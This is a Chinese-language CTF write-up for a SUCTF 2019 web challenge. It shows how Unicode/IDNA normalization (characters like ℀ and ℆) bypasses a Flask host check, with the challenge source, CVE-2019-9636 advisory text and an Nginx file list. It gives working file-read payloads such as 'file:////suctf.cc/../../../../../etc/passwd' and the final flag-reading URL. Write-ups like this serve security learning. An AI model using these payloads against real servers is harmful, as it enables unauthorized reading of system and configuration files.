0x00知識點
2019black hat一個議題
PPT:
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
內容如下:
這也就是說我們傳入的url為http://evil.c℀.com在經過上述處理過后便成為了http://evil.ca/c.com
在unicode中字符℀(U+2100),當IDNA處理此字符時,會將℀變成a/c,因此當你訪問此url時,dns服務器會自動將url重定向到另一個網站。如果服務器引用前端url時,只對域名做了限制,那么通過這種方法,我們就可以輕松繞過服務器對域名的限制了。
0x01非預期解
CVE-2019-9636:urlsplit不處理NFKC標准化
file:////suctf.cc/../../../../../etc/passwd
URLs encoded with Punycode/IDNA use NFKC normalization to decompose characters [1]. This can result in some characters introducing new segments into a URL.
For example, \uFF03 is not equal to '#' under direct comparison, but normalizes to '#' which changes the fragment part of the URL. Similarly \u2100 normalizes to 'a/c' which introduces a path segment.
Currently, urlsplit() does not normalize, which may result in it returning a different netloc from what a browser would
>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u).netloc.rpartition("@")[2]
bing.com
>>> # Simulate
>>> u = "https://example.com\uFF03@bing.com".encode("idna").decode("ascii")
>>> urlsplit(u).netloc.rpartition("@")[2]
example.com
(Note that .netloc includes user/pass and .rpartition("@") is often used to remove it.)
This may be used to steal cookies or authentication data from applications that use the netloc to cache or retrieve this information.
The preferred fix for the urllib module is to detect and raise ValueError if NFKC-normalization of the netloc introduce any of '/?#@:'. Applications that want to avoid this error should perform their own decomposition using unicodedata or transcode to ASCII via IDNA.
>>> # New behavior
>>> u = "https://example.com\uFF03@bing.com"
>>> urlsplit(u)
...
ValueError: netloc 'example.com#@bing.com' contains invalid characters under NFKC normalization
>>> # Workaround 1
>>> u2 = unicodedata.normalize("NFKC", u)
>>> urlsplit(u2)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
>>> # Workaround 2
>>> u3 = u.encode("idna").decode("ascii")
>>> urlsplit(u3)
SplitResult(scheme='https', netloc='example.com', path='', query='', fragment='@bing.com')
Note that we do not address other characters, such as those that convert into period. The error is only raised for changes that affect how urlsplit() locates the netloc and the very common next step of removing credentials from the netloc.
This vulnerability was reported by Jonathan Birch of Microsoft Corporation and Panayiotis Panayiotou (p.panayiotou2@gmail.com) via the Python Security Response Team. A CVE number has been requested.
[1]: https://unicode.org/reports/tr46/
鏈接
https://bugs.python.org/issue36216
0x02Nginx重要文件位置
配置文件存放目錄:/etc/nginx
主配置文件:/etc/nginx/conf/nginx.conf
管理腳本:/usr/lib64/systemd/system/nginx.service
模塊:/usr/lisb64/nginx/modules
應用程序:/usr/sbin/nginx
程序默認存放位置:/usr/share/nginx/html
日志默認存放位置:/var/log/nginx
配置文件目錄為:/usr/local/nginx/conf/nginx.conf
0x03解題
打開題目,給了源碼
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
審計代碼
前兩個判斷 host 是否是 suctf.cc ,如果不是才能繼續。然后第三個經過了 decode('utf-8') 之后傳進了 urlunsplit 函數,在第三個判斷中又必須要等於 suctf.cc 才行。
直接構造
file://suctf.c℆sr/local/nginx/conf/nginx.conf(另一種繞過方式是利用ℂ來代替c及進行繞過),這樣可以讀到flag的位置:
server { listen 80; location / { try_files $uri @app; } location @app { include uwsgi_params; uwsgi_pass unix:///tmp/uwsgi.sock; } location /static { alias /app/static; } # location /flag { # alias /usr/fffffflag; # } }
讀flag
http://d7844ab4-68f7-4e76-9432-a112b65afa1f.node3.buuoj.cn/getUrl?url=file://suctf.c%E2%84%86sr/fffffflag
參考鏈接